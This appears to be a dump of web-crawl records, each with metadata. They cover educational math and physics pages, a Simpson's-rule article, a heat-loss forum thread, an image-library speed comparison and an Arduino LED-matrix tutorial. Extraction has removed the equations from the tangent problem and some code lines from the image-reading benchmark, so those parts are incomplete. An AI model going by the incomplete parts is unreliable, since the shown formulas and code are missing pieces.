We can fix the situation by adding a toothpick that reaches back to the center of mass. Figure 3 shows the forks balanced on a fingertip with the aid of the toothpick.
Alternatively, we can rest the center of mass on the rim of a glass (figure 4). This makes for an improbable looking balance. Although the center of mass really is supported by the rim of the glass, it looks like the forks are balanced way out beyond the edge of the glass. It's hard to appreciate by eye that the handles of the forks are balancing in the other direction.
The effect can be made more dramatic by removing the portion of the toothpick inside the glass. This piece weighs so little that removing it will hardly affect the center of mass, and the forks should remain balanced. To do it, light the end of the toothpick inside the glass and let it burn all the way to the rim. The flame should go out just as it reaches the rim. Let the toothpick cool and knock off any remaining ash. Now the forks are balanced right at the burnt end of the tooth pick (figure 6).
For an even more impressive display, you can balance the forks on top of another upright toothpick as in figure 7. Use round toothpicks rather than flat ones; it's hard to get the flat toothpicks lined up correctly. We used a salt shaker to hold the vertical toothpick, but any support will do. You can even tape the toothpick to the side of your glass.
## going further
Lara Jacobs at the TEDxEdmonton conference shows how far one can go in constructing a chain of center of mass balance points. Let her performance inspire you.
Video of Lara Jacobs performing her famous balance act, which has played at Cirque du Soleil.
## teaching notes
Toothpicks and plastic forks are cheap enough to outfit an entire class. It's worth letting students try their hand at balancing forks on their own. Turn it into a game to see who can balance the most forks on the rim of a glass. | 1,249 | 5,443 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.671875 | 4 | CC-MAIN-2019-35 | longest | en | 0.929021 |
https://au.mathworks.com/matlabcentral/cody/problems/19-swap-the-first-and-last-columns/solutions/33104 | 1,585,677,180,000,000,000 | text/html | crawl-data/CC-MAIN-2020-16/segments/1585370502513.35/warc/CC-MAIN-20200331150854-20200331180854-00395.warc.gz | 351,833,108 | 15,638 | Cody
# Problem 19. Swap the first and last columns
Solution 33104
Submitted on 7 Feb 2012 by Albert Yam
This solution is locked. To view this solution, you need to provide a solution of the same size or smaller.
### Test Suite
Test Status Code Input and Output
1 Pass
%% A = [ 12 4 7 5 1 4]; B_correct = [ 7 4 12 4 1 5 ]; assert(isequal(swap_ends(A),B_correct))
2 Pass
%% A = [ 12 7 5 4]; B_correct = [ 7 12 4 5 ]; assert(isequal(swap_ends(A),B_correct))
3 Pass
%% A = [ 1 5 0 2 3 ]; B_correct = [ 3 5 0 2 1 ]; assert(isequal(swap_ends(A),B_correct))
4 Pass
%% A = 1; B_correct = 1; assert(isequal(swap_ends(A),B_correct)) | 233 | 638 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.984375 | 3 | CC-MAIN-2020-16 | latest | en | 0.559278 |
https://www.physicsforums.com/threads/range-of-values-in-regards-to-quadratics-and-discriminant.618765/ | 1,579,408,029,000,000,000 | text/html | crawl-data/CC-MAIN-2020-05/segments/1579250594209.12/warc/CC-MAIN-20200119035851-20200119063851-00443.warc.gz | 1,045,000,949 | 14,838 | # Range of values in regards to quadratics and discriminant
## Homework Statement
Determine the range of values of the constant a so that the solution of ax^2+2ax+3>=0 (when a >0) is all real numbers
D = b^2-4ac
## The Attempt at a Solution
The discriminant is 0, 3. I need to know how to arrange them to get the range. The range is 0<a<=3 in the answers. How do I get it?
Related Precalculus Mathematics Homework Help News on Phys.org
Mark44
Mentor
## Homework Statement
Determine the range of values of the constant a so that the solution of ax^2+2ax+3>=0 (when a >0) is all real numbers
D = b^2-4ac
## The Attempt at a Solution
The discriminant is 0, 3.
No, the discriminant is 4a2 - 12a. What do your two values have to do with the discriminant? (I know, but I am trying to get you to be accurate in what you say.)
I need to know how to arrange them to get the range. The range is 0<a<=3 in the answers. How do I get it? | 274 | 935 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.390625 | 3 | CC-MAIN-2020-05 | latest | en | 0.891096 |
https://percent.info/minus/35/how-to-calculate-34000-minus-35-percent.html | 1,642,498,143,000,000,000 | text/html | crawl-data/CC-MAIN-2022-05/segments/1642320300810.66/warc/CC-MAIN-20220118092443-20220118122443-00606.warc.gz | 518,677,674 | 2,707 | 34000 minus 35 percent
This is where you will learn how to calculate thirty-four thousand minus thirty-five percent (34000 minus 35 percent). We will first explain and illustrate with pictures so you get a complete understanding of what 34000 minus 35 percent means, and then we will give you the formula at the very end.
We start by showing you the image below of a dark blue box that contains 34000 of something.
34000
(100%)
35 percent means 35 per hundred, so for each hundred in 34000, you want to subtract 35. Thus, you divide 34000 by 100 and then multiply the quotient by 35 to find out how much to subtract. Here is the math to calculate how much we should subtract:
(34000 ÷ 100) × 35
= 11900
We made a pink square that we put on top of the image shown above to illustrate how much 35 percent is of the total 34000:
The dark blue not covered up by the pink is 34000 minus 35 percent. Thus, we simply subtract the 11900 from 34000 to get the answer:
34000 - 11900
= 22100
The explanation and illustrations above are the educational way of calculating 34000 minus 35 percent. You can also, of course, use formulas to calculate 34000 minus 35%.
Below we show you two formulas that you can use to calculate 34000 minus 35 percent and similar problems in the future.
Formula 1
Number - ((Number × Percent/100))
34000 - ((34000 × 35/100))
34000 - 11900
= 22100
Formula 2
Number × (1 - (Percent/100))
34000 × (1 - (35/100))
34000 × 0.65
= 22100
Number Minus Percent
Go here if you need to calculate any other number minus any other percent.
35000 minus 35 percent
Here is the next percent tutorial on our list that may be of interest. | 434 | 1,651 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.625 | 5 | CC-MAIN-2022-05 | latest | en | 0.872862 |
https://en.neurochispas.com/geometry/elements-of-the-platonic-solids/ | 1,686,433,042,000,000,000 | text/html | crawl-data/CC-MAIN-2023-23/segments/1685224646350.59/warc/CC-MAIN-20230610200654-20230610230654-00748.warc.gz | 267,396,976 | 26,684 | # Elements of the Platonic Solids
The most important elements of the Platonic solids are the faces, the vertices and the edges. In addition, we also have additional secondary elements such as lines of symmetry and cross-sections.
In this article, we will take a look at the five Platonic solids and we will learn their main and secondary elements in detail.
##### GEOMETRY
Relevant for
Learning about the elements of the Platonic solids.
See elements
##### GEOMETRY
Relevant for
Learning about the elements of the Platonic solids.
See elements
## Faces of the Platonic solids
The faces of the Platonic solids are the flat surfaces formed at the boundaries of the Platonic solids. Platonic solids have the main characteristic that all their faces are congruent, that is, they have the same shape and size.
Also, the faces of the five platonic solids are regular. Depending on the Platonic solid, we have different numbers of faces and different shapes. For instance,
• A tetrahedron has 4 triangular faces.
• A cube has 6 square faces.
• An octahedron has 8 triangular faces.
• A dodecahedron has 12 pentagonal faces.
• An icosahedron has 20 triangular faces.
In the case of tetrahedrons, octahedrons, and icosahedrons, the faces are triangular, so each face contains three edges. Also, each face is surrounded by three other faces.
In the case of cubes, each face contains four edges and is surrounded by four other faces. And in the case of dodecahedrons, each face contains five edges and is surrounded by five other faces.
The surface area of the Platonic solids is found by adding the areas of all their faces. That means that if we know the area of one of the faces, we simply have to multiply by the total number of faces.
## Vertices of the Platonic solids
The vertices of the Platonic solids are the points where the edges meet. In general, vertices are defined as the points where two or more line segments meet. Therefore, we have:
• A tetrahedron has 4 vertices.
• A cube has 8 vertices.
• An octahedron has 6 vertices.
• A dodecahedron has 20 vertices.
• An icosahedron has 12 vertices.
The number of edges that meet at each vertex depends not only on the shape of the faces but also on the type of Platonic solid. For example, tetrahedrons, octahedrons, and icosahedrons have triangular faces, but a different number of edges intersect at each vertex in all three figures.
• 3 edges of a tetrahedron intersect at each vertex.
• 3 edges of a cube intersect at each vertex.
• 4 edges of an octahedron intersect at each vertex.
• 3 edges of a dodecahedron intersect at each vertex.
• 5 edges of an icosahedron intersect at each vertex.
## Edges of the Platonic solids
The edges of the Platonic solids are the line segments that surround each of their faces. In general, we can define edges as the line segments formed by joining two vertices.
Alternatively, we can think of edges as the line segments where two faces of the Platonic solids meet. Each Platonic solid has a different number of edges. Therefore, we have:
• A tetrahedron has 6 edges.
• A cube has 12 edges.
• An octahedron has 12 edges.
• A dodecahedron has 30 edges.
• An icosahedron has 30 edges.
## Axis of symmetry
The axis of symmetry is a vertical line that divides the figure into two equal parts. In the case of the Platonic solids, the axis of symmetry is a line through the geometric mean.
If we rotate the Platonic solid with respect to its axis of symmetry, we obtain an equivalent figure from different angles, as shown in the following figure:
## Cross-sections
Cross-sections are the two-dimensional figures formed when a 3D figure is cut by a plane. In the case of the Platonic solids, we can obtain different cross-sections depending on how we cut the figure.
For example, if we cut a cube with a plane that is parallel to the bases, we can obtain a square cross-section as shown in the figure.
In the case of a tetrahedron, we can form a triangular cross-section if we cut the solid with a plane parallel to its base.
In the case of an octahedron, we will form a square cross-section by cutting the solid with a plane that is perpendicular to its axis of symmetry.
Dodecahedrons and icosahedrons have more complex cross-sections since they are made up of a larger number of faces. Therefore, the cross-section will vary depending not only on the angle but also on the height where we cut the figures. | 1,043 | 4,427 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.78125 | 5 | CC-MAIN-2023-23 | longest | en | 0.943198 |
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Solving time: 3 mins
# Tangents are drawn from the origin to the curve . Their points of contact lie on
A
B
C
D
None of these
## Text solutionVerified
Let be one of the points of contact. Then, the equation of the tangent at is
This passes through the origin
(i)
Also point lies on
(ii)
From (i) and (ii), we have
Hence, the locus of is
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Question Text Tangents are drawn from the origin to the curve . Their points of contact lie on Updated On Aug 3, 2023 Topic Application of Derivatives Subject Mathematics Class Class 12 Answer Type Text solution:1 Video solution: 2 Upvotes 263 Avg. Video Duration 9 min | 339 | 1,370 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.546875 | 3 | CC-MAIN-2024-33 | latest | en | 0.850477 |
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# Numerical Integration with Simpson's Rule
, 26 Jun 2014
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How to implement and use Simpson's rule
## Introduction
Simpson’s rule is a simple and effective technique for numerically evaluating integrals. However, practical implementation requires more than is often presented in introductions to the method. This article will show how to implement the algorithm n C# and will discuss how to prepare integrals for evaluation.
## Background
Calculus books often give a quick introduction to the trapezoid rule and Simpson’s rule as ways to approximately calculate integrals that cannot be computed exactly by hand.
Given an interval [a, b] and an even number n, Simpson’s rule approximates the integral
by
where h = (b - a)/n and xi = a + ih.
While that is a correct description of the algorithm, it leaves two related questions unanswered:
1. How good is the approximation?
2. How should I choose n?
In practice you seldom know before you start how large n needs to be in order to meet your accuracy requirements. If you can estimate your error at runtime, you can use that estimate to determine n.
A common approach is to repeatedly apply Simpson’s rule, doubling the number of integration points at each stage. The difference between two successive stages gives an estimate of the error, so you continue doubling the stages until the error estimate is below your tolerance.
There are a couple practical matters to implementing this approach. First, if naively implemented, the method will re-evaluate the integrand at the same points multiple times. At each new stage, half of the integration points are the same as they were at the previous stage. A little algebra makes it possible to reuse the integral estimate from the previous stage and only evaluate the integrand at the new integration points.
The second practical implementation matter is to not check the stopping condition too soon. If you check the stopping rule after each stage, it is possible in the early stages that your integration points miss regions of variability in your integrand and you are led to believe the method has converged when it has not. The code given here only checks for convergence after five stages of Simpson’s rule.
## Using the Code
The class SimpsonIntegrator has only two methods, overloaded implementations of Integrate. The simpler version of Integrate returns nothing but the value of the integral. The more detailed version returns the number of function evaluations used and an estimate of the error. The simpler version is implemented by calling the more detailed method and discarding the extra information. Also, the more detailed version allows the user to specify the maximum number of integration stages; the simpler version sets a default value for this parameter.
Here is an example integrating the function f(x) = cos(x) + 1 over the interval [0, 2π]:
double twopi = 2.0*Math.PI;
double epsilon = 1e-8;
double integral = SimpsonIntegrator.Integrate(x => Math.Cos(x) + 1.0, 0,
twopi, epsilon);
double expected = twopi;
Assert.IsTrue(Math.Abs(integral - expected) < epsilon);
Note that C#'s support for implicit functions is handy for simple integrands.
According to the theoretical derivation of Simpson’s rule, the method should integrate polynomials up to degree three exactly with only one stage of integration. Here's an example of calling the more detailed interface to specify that the method should use only one stage to integrate f(x) = x3 over an interval [a, b]. We also verify that the code respected our request to only use one stage by checking that the integrand is only evaluated three times. (The first stage of Simpson’s rule evaluates the integrate at each end of the interval and at the midpoint.)
double a = 2, b = 5;
double epsilon = 1e-10;
double integral;
int functionEvalsUsed;
double estimatedError;
double expected;
int maxStages = 1;
integral = SimpsonIntegrator.Integrate(x => x*x*x, a, b, epsilon,
maxStages, out functionEvalsUsed, out estimatedError);
expected = (b*b*b*b - a*a*a*a)/4.0;
Assert.AreEqual(functionEvalsUsed, 3);
Assert.IsTrue(Math.Abs(integral - expected) < epsilon);
Simpson’s rule only applies to smooth functions on a closed interval. If this does not describe your integral, it may still be possible to apply the method after a little preparation. On the other hand, naively applying the method directly where it is not appropriate can give poor results.
A function with a kink in the middle is not smooth and so Simpson’s rule does not directly apply. However, such a function can simply divided into two integrals where the integrand is smooth over both separately. For example, to integrate the function exp(-|x|) over [-3, 5], we would need to split the problem into one integral over [-3, 0] and another over [0, 5] because the integrand has a sharp bend at 0.
An integral over an infinite range cannot be computed by Simpson’s rule directly. However, it is often possible to use a change of variables to convert the integral into a well-behaved integral over a finite range.
Simpson’s rule also does not apply to functions that become infinite. See Care and treatment of singularities for an example of how to use Simpson’s rule for such integrals.
## About the Author
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I am an independent consultant in software development and applied mathematics. I help companies learn from their data to make better decisions.
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## Comments and Discussions
First Prev Next
Thanks Cryptonite28-Mar-17 6:07 Cryptonite 28-Mar-17 6:07
Dynamic function parsing for SimpsonIntegrator Chuck G25-Sep-14 12:25 Chuck G 25-Sep-14 12:25
Multiple integrals Alexandr Stefek28-Jun-14 10:11 Alexandr Stefek 28-Jun-14 10:11
My vote of 5 Luis Fernando Pinilla29-Jun-13 10:28 Luis Fernando Pinilla 29-Jun-13 10:28
epsilon Member 92430416-Mar-13 11:07 Member 9243041 6-Mar-13 11:07
My vote of 5 David Serrano Martínez15-Feb-13 10:02 David Serrano Martínez 15-Feb-13 10:02
Re: My vote of 5 Member 92430416-Mar-13 22:33 Member 9243041 6-Mar-13 22:33
Re: My vote of 5 David Serrano Martínez7-Mar-13 8:38 David Serrano Martínez 7-Mar-13 8:38
Simple and Works Member 818270720-Dec-12 7:09 Member 8182707 20-Dec-12 7:09
I have tested the codes and compared results with MATLAB calculation. The outputs are accurate enough. The codes are simple and easy for implementation. Thanks
Dum Dum Here Patrick Harris22-Feb-12 17:23 Patrick Harris 22-Feb-12 17:23
Last Visit: 31-Dec-99 18:00 Last Update: 20-Oct-17 23:32 Refresh 1
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# 7.5 Summary
## 7.5 Summary (EMBJ5)
• Area is the two dimensional space inside the boundary of a flat object.
• Area formulae:
• square: $${s}^{2}$$
• rectangle: $$b\times h$$
• triangle: $$\frac{1}{2}b\times h$$
• trapezium: $$\frac{1}{2}\left(a+b\right)\times h$$
• parallelogram: $$b\times h$$
• circle: $$\pi {r}^{2}$$
• Surface area is the total area of the exposed or outer surfaces of a prism.
• A net is the unfolded “plan” of a solid.
• Volume is the three dimensional space occupied by an object, or the contents of an object.
• Volume of a rectangular prism: $$l\times b\times h$$
• Volume of a triangular prism: $$\left(\frac{1}{2}b\times h\right)\times H$$
• Volume of a square prism or cube: $${s}^{3}$$
• Volume of a cylinder: $$\pi {r}^{2}\times h$$
• A pyramid is a geometric solid that has a polygon as its base and sides that converge at a point called the apex. The sides are not perpendicular to the base.
• Surface area formulae:
• square pyramid: $$b\left(b+2h\right)$$
• triangular pyramid: $$\frac{1}{2}b\left({h}_{b}+3{h}_{s}\right)$$
• right cone: $$\pi r\left(r+{h}_{s}\right)$$
• sphere: $$4\pi {r}^{2}$$
• Volume formulae:
• square pyramid: $$\frac{1}{3}\times {b}^{2}\times H$$
• triangular pyramid: $$\frac{1}{3}\times \frac{1}{2}bh\times H$$
• right cone: $$\frac{1}{3}\times \pi {r}^{2}\times H$$
• sphere: $$\frac{4}{3}\pi {r}^{3}$$
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# Need Some help With Critical Thinking
Ok, here is my question. How does keeping the temperature in your home lower your energy bill? Here is why I ask.
~I got new windows in the spring. good, much better, insulation. but keeping my temperature low has never been a strong point of mine; I like being able to be comfortable almost naked (if not so) in my house always.
~ So, assuming that there are no random energy leaks in a house (such as doors left open to the outside for hours, or wind gusts inside some how) the energy loss in the house should remain constant; for example, say 1 degree an hour.
~So, with the previous assumption unnegated, how does keeping the temperature lower help? the energy used after, say, 2 hours of operation (a drop of 2 degrees) should be the same whether its from 68-70 or if it is 76-78. the only difference would be if you have a regulating thermostat that drops the temperature when you are not there, in which case the energy expended would be more to raise the temperature back up. if its simple caloric calculations (I have radiant heat, so it literally is the energy to raise a given amount of water by a given amount of heat) then what am I missing when I hear that I should keep the temperature lower in the winter?! Why is this not making sense to me, someone help me out here!
Views: 15
### Replies to This Discussion
Your house temperature will not drop inexorably to absolute zero, rather it will tend toward the external temperature at a speed that diminishes as the difference between inside and outside approaches zero - equilibrium.
The nearer you are prepared to keep the internal temperature to the external temperature, then the smaller and slower will be the heat transfer through your walls, windows, roof and floor. In the limit, if your house was the same temperature inside and out then your heating bill would be zero.
Obviously this works in both directions, you might want your house hotter than the outside in the winter and colder than outside in the summer.
Clearly you don't want to do this so your cheapest bet is to insulate (as you have done) and slow the rate heat transfers though your walls.
If you had perfect insulation then once you'd got your house to the right temperature then you could turn of your heating/AC forever.
A little rambling - but does that help?
it does, although i'd contest the last point citing the second law of thermodynamics maybe? lol enclosed systems dissolve into entropy~ that aside of course that is a different way for me to examine the issue; although, when i think about it, it still seems the same in a sense, because the external temperature does not rise to meet the internal temperature as it drops. I think that i'm still questioning the explanation.... so what you're saying is that if my house was 100 degrees inside, the temperature would drop much faster than if it were only 70? I'm not sure how the heat exchange is accelerated due to increase in temperature
i guess that does make sense, as when we are outside, the colder it is the quicker we freeze~ the acceleration of heat transfer. although i guess where my real question would come in is if the heat is transferring through a medium, ie glass of the window, is there a set transfer cap, or will that transfer increase exponentially the wider the difference between temperatures. I appreciate your response, and hope my constant questioning isn't grating (it is, of course, how I ended up here on the atheist nexus lol)
HAHA! I got you, It must be GOD in the gaps of energy transfer!
well john d i appreciate your willingness to engage in my question, and for that, i will friend you. (sometimes i think my 3 year old knows more than i do, kids these days eeeesh)
You bunch of egg heads! I was all muddled reading this... the replies gave me that "ah ha" moment. Ugh... I need caffeine!
Give a man fire and he'll be warm all night.
Set a man on fire and he'll be warm for the rest of his life.
it's the bulbs
Hi, I think this has been answered pretty well but a few thoughts that may help. Keep in mind that thermal energy is not equal to temperature. The amount of energy needed to change the temperature of a system by 1 degree c is the Heat capacity of the system. energy added = Heat Capacity * delta temp or
dQ = C * dt . Now back to your house. The heat flow out of you house depends on the difference in temp between the inside and outside ( T in - T out) call it DT. This is the thermal potential think of it like a Voltage in a simple dc circuit ( if that helps ) , now of course it also depends on how easy it is for the heat to flow or the thermal resistance ( how good your windows are) So now the Heat Loss form your house can be modeled as dQ/dtime = ( T in - Tout ) / R where R is the total thermal resistance between the inside and outside of your house. So this is just another way of saying that Watts of power lost by your house to the environment is directly proportional to the temperature difference and inversely proportional to how well insulated it is.
But since the title of your post was help with critical thinking don't take my word for it think about how you would do an experiment to test it.
Right, I have a pretty good understanding of that~ I guess where my question comes in is " is there a difference in the time that heat is lost from I(nside) Temp = O(utside) Temp/ if it is 32* outside, constant, is the rate of heat loss inside steady between 100* to 75* as opposed to 75* to 50* (both drop 25*, would it be in the same amount of time? Is heat loss a constant proportion, or merely proportional to the ratio of I temp to O temp [ Or put another way, does heat transfer through a solid medium increase with the disparity of opposing temps, or is there a heat-loss cap, so to speak, where a maximum of energy is transfered, thus leveling out the loss of energy to a point where it makes no difference in time]
So your question is if out side temp is constant 32, is the heat flow rate from inside to outside greater if the inside temp is 100 then it is if the inside temp is 75. Id say yes. If you heat your house up to 100 f when its a constant 32 outside then turn off the heat and time how long it takes to drop to 75 then time how long it takes to drop to 50 you will get a significantly longer time for the second.
in fact the time to drop the last degree from 33 to 32 would be very long. This does require solving a differential equation to calculate the time, but if you take the case where both inside and outside temps are constant its pretty easy to calculate the steady state energy flow from inside to outside (assuming we know the thermal resistance which of course we dont). And since energy is conserved to keep the inside temp constant that's how much heat / per unit time your furnace must be generating (average power).
Is there a cap where the heat flow saturates and increasing the internal temp does not lead to a higher rate of loss. I don't think so for any practical case. We could imagine some hypothetical material whose thermal resistance increased with temperature, so your walls and or windows insulated better when it was hot inside that would tend to flatten out the curve.
If you enjoy thinking about this you might want to take some physics or thermo dynamics courses.
Take Care
So then If graphed, the heat exchange should resemble a parabola, with the tail tapering off as temperature equality is near... hm, I wonder, imagining a parabola of that sort, whether it would ever actually cross the axis, since transfer becomes slower the closer the temperatures are, if there is a point where, say, 32.001111 will never reach 32.00000000 because of the decrease in transfer. I'm just speculating here, but it seems interesting to me LOl thanks for your help in this matter. I have radiant heat in my house, fueled by natural gas, so I'm trying to see if I can get away with heating my house to 76* because I like it hot LOL
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1. 我们首先来看一下opencv的读取效率：
``````# 加载时间函数用于计算效率
import time
# opencv
import cv2
N = 1000
tic = time.time()
for i in range(N):
img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
print(N/(time.time()-tic), 'images decoded per second with opencv')
imshow(img)``````
734.9363854754574 images decoded per second with opencv
opencv读取成numpy.array的速度为每秒734张。
2. 我们来看一下scipy的读取方式和它的效率：
``````# scipy
N = 1000
tic = time.time()
for i in range(N):
print(N/(time.time()-tic), 'images decoded per second with scipy.misc')``````
623.7528820826661 images decoded per second with scipy.misc
3. 如果采用scipy的亲儿子skimage进行读取呢？
``````# skimage
from skimage import io
N = 1000
tic = time.time()
for i in range(N):
print(N/(time.time()-tic), 'images decoded per second with skimage')``````
613.2599892065876 images decoded per second with skimage 可以看出它的读取速度和scipy基本相当，甚至慢一点，可以确定的一点的是skimage是scipy的亲儿子。速度：每秒613张
4. 和大家重点说一下pillow这个老大，我们还是先做实验：
``````# pillow
from PIL import Image
N = 1000
tic = time.time()
for i in range(N):
img = Image.open('../data/train/cat.123.jpg')
img = np.array(img)
print(N/(time.time()-tic), 'images decoded per second with pillow')``````
606.2237641859305 images decoded per second with pillow
pillow看起来速度比上面还要慢一点，差别也不大，基本是每秒606张。但实际上，pillow在之星open语句的时候，实际上是通过读取二进制编码的方式进行读取图像，原则上应该是要比上面快很多，那么为什么速度会这么慢呢？我们再做个试验。
``````# pillow
N = 1000
tic = time.time()
for i in range(N):
img = Image.open('../data/train/cat.123.jpg')
#img = np.array(img)
print(N/(time.time()-tic), 'images decoded per second with pillow')``````
10118.899305672832 images decoded per second with pillow 可以明显发现，读取速度直接提升两个数量级，但是此时的img是Image内部的类文件，需要做相应的转换才是可以的，所以在执行np.array()的时候出现速度下降。
5. 既然已经考虑到了关于读取方式和解码问题的效率问题时，那么我们是不是有更好的图像读取方式呢？于是DMLC（创造MXNet的组织）调用了第一项中opencv中读取编码、解析编码的部分代码，并加入了自动多线程并行读取。
``````# mx.image
import mxnet as mx
N = 1000
tic = time.time()
for i in range(N):
mx.nd.waitall()
print(N/(time.time()-tic), 'images decoded per second with mx.image')
imshow(img.asnumpy())``````
3104.49234140315 images decoded per second with mx.image
0 条评论
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• CV学习笔记（二）：OpenCV基本操作
今天这一篇文章主要记录一下OpenCV中一些基本的操作，包括读取图片，视频以及反转图像的几种操作： | 1,891 | 3,767 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.984375 | 3 | CC-MAIN-2022-33 | latest | en | 0.329524 |
https://www.instructables.com/id/8x8-Matrix-Letter-Game/ | 1,597,079,509,000,000,000 | text/html | crawl-data/CC-MAIN-2020-34/segments/1596439736057.87/warc/CC-MAIN-20200810145103-20200810175103-00237.warc.gz | 667,840,719 | 24,797 | # 8x8 Matrix Letter Game
3,080
12
## Introduction: 8x8 Matrix Letter Game
I am trying to learn how to use the 8x8 matrix with Arduino and stumble across an article with using shift registers 74HC595N. So I thought to share my result, which subsequently being converted into a simple alphabet letter guessing game with just one button to trigger the random alphabet character to be displayed on the led matrix.
## Step 1: Collecting All the Materials
For this project you will need the following:
- Arduino (any type will do, I am using UNO)
- 8x8 LED matrix, you can get one from here which is the Arduino Basic starter learning kit that includes the led matrix
- 74HC595N, this is included in the basic starter learning kit, or you can source it else where.
- Prototyping board, or some pcb breadboard and some cables and solder
## Step 2: Connect the 8x8 LED Matrix to the 74HC595 Shift Register
The first picture shows how the 8x8 LED matrix is being configured, it is connected into rows and column, all the Anode of the LED in rows 1 is connected together in R1, all the Anode of LED in rows 2 is connected together to R2 and so on. The Cathode of all the LED in Column 1 is connected together through C1, cathode of all LED in column 2 is connected together through C2 and so on.
Thus to save the number of pin used we can use the shift registers 74HC595N, the way the shift register works is it allows the data to be latched. Looking at the second picture, shows how the shift registers work. The data gets into the shift registers via SER input PIN14, the SRCLK PIN11 is the serial clock which shift each data from serial input into each register. 74HC595N consists of 8 registers Q0 to Q7. Thus we will can shift up to 8 bits of data. Once all the data had been feed through the 8 registers, setting the RCLCK PIN 12 to HIGH will shift the data out to the LED Matrix, we do this one column at a time by controlling column via Arduino pin 6 to pin 13.
Arduino already have this function to be able to shift the data
`shiftOut(dataPin, clockPin, bitOrder, value) // the value is expressed in Byte`
So each display will require 8x8 bits (8 byte) of data.
Pin OE (output enable) of the 74HC595N needs to be connected to the ground, and SRCLR will need to be connected to 5V (Vcc).
## Step 3: Test the Circuit by Connecting It to Arduino
Once the wiring of the LED and 74HC595 is complete, it is important to test it first to see whether all the connection had been done correctly by wiring it up to the Arduino as shown in the above picture. Don't forget to put 220 ohm resistor between each arduino output to each row to limit the current that goes through the LED.
You can use the following program to test the circuit, the program will display character "A", "B" and "R" for 1 seconds each and repeat.
```int latchPin = 4; // pis connected to shift registors<br>int clockPin = 5;
int dataPin = 3;
int pins [8] = {6, 7, 8, 9, 10, 11, 12, 13}; // common cathode pins
byte A[8] = { B00000000, // Letters are defined
B00011000,// you can create your own
B00100100,
B01000010,
B01111110,
B01000010,
B01000010,
B00000000
};
byte B[8] = { B00000000,
B11111100,
B10000010,
B10000010,
B11111100,
B10000010,
B10000010,
B11111110
};
byte blank[8] = { B00000000,
B00000000,
B00000000,
B00000000,
B00000000,
B00000000,
B00000000,
B00000000
};
byte R[8] = { B00000000,
B01111000,
B01000100,
B01000100,
B01111000,
B01010000,
B01001000,
B01000100
};
void setup() {
Serial.begin(9600); // Serial begin
pinMode(latchPin, OUTPUT); // Pin configuration
pinMode(clockPin, OUTPUT);
pinMode(dataPin, OUTPUT);
for (int i = 0; i < 8; i++) { // for loop is used to configure common cathodes
pinMode(pins[i], OUTPUT);
digitalWrite(pins[i], HIGH);
}
}
void loop() {
for (int k = 0; k < 1000; k++) { // showing each letter for 1 second
display_char(A);
}
for (int k = 0; k < 1000; k++) {
display_char(B);
}
for (int k = 0; k < 1000; k++) {
display_char(R);
}
// add more letters show method here
}
void display_char(byte ch[8]) { // Method do the multiplexing
for (int j = 0; j < 8; j++) {
digitalWrite(latchPin, LOW);
digitalWrite(pins[j], LOW);
shiftOut(dataPin, clockPin, LSBFIRST, ch[j]);
digitalWrite(latchPin, HIGH);
//delay(1);
digitalWrite(latchPin, LOW);
shiftOut(dataPin, clockPin, LSBFIRST, B00000000); // to get rid of flicker when
digitalWrite(latchPin, HIGH);
digitalWrite(pins[j], HIGH);
}
